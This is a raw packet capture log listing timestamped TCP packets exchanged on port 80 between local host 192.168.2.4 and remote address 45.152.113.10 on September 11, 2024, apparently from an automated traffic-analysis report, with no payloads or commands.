Sep 11, 2024 22:52:02.937504053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937510967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937526941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937561035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937566042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937618971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937622070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937652111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937683105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937684059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937704086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937716961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937740088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937750101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937781096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937787056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937810898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937819958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937853098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937854052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937886953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937891006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937912941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937920094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937933922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937953949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937987089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937987089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938008070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938020945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938050032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938055038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938072920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938087940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938112020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938122034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938148975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938153982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938172102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938186884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938213110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938220024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938235998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938252926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938275099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938286066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938318968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938322067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938345909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938352108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938374996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938390017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938406944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938422918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938445091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938460112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938483953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938510895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938518047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938544035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938569069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938577890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938611031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938620090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938620090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938657999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938669920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938690901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938718081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938721895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938740969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938755989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938776970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938787937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938800097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938822031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938841105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938854933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938884020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938886881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938915014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938920975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938934088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938955069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.938980103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.938987970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.939018965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.939022064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.939047098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.939069033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.939287901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.939337969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.939348936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.939424038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.944073915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944093943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944103003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944240093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.944839954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944890976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944916010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.944926977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944940090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.944964886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.944993019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.945014000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.022911072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.022954941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023013115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023047924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023101091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023150921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023175001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023175001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023175001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023175001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023205996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023240089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023247957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023269892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023291111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023443937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023444891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023451090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023509026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023561001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023565054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023565054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023592949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023627996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023646116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023665905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023679018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023711920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023725986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023757935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023757935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023762941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023797035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023822069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023847103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023885965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023930073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023937941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.023952007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023952007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.023988008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024022102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024065971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024069071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024085999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024085999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024101019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024132013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024137020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024158001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024179935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024200916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024214983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024245977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024255037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024275064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024277925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024310112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024315119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024343967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024349928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024369955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024375916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024406910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024408102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024442911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024445057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024466991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024478912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024511099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024521112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024540901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024544001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024560928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024590969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024602890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024626017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024646997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024674892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024701118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024724960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024744987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024772882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024784088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024821043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024833918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024853945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024885893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024890900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024907112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024940014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.024954081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.024972916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025005102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025022984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025027037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025070906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025085926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025120020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025131941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025151968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025181055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025186062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025198936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025218964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025240898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025249958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025266886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025283098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025311947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025314093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025331020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025432110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025464058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025465012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025484085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025497913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025518894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025528908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025542021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025562048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025584936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025593996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025620937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025631905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025651932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025665045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025688887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025696993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025712967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025727987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025751114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025760889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025784969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025793076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025821924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025825977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025847912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025861979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025887012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025893927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025911093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025928020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025959969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.025963068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.025991917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026000023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026021004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026024103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026042938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026057005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026087999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026103020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026103020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026118994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026139021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026150942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026175022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026181936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026199102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026213884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026243925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026246071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026264906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026279926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026308060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026326895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026329041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026361942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026393890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026395082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026416063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026428938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026452065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026458979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026489019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026494026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026523113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026530981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026551008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026555061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026566982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026587009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026611090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026619911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026648045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026653051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026670933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026684999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026706934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026720047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026750088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026751041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026768923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026786089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026808023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026817083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026848078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026850939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026874065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026885986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.026909113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.026943922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027003050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027034998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027064085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027067900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027086020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027118921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027122974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027149916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027179003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027183056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027201891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027215004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027245045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027247906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027266026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027309895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027445078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027494907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027508974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027544022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027551889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027575016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027606964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027609110 CEST	49733	80	192.168.2.4	45.152.113.10
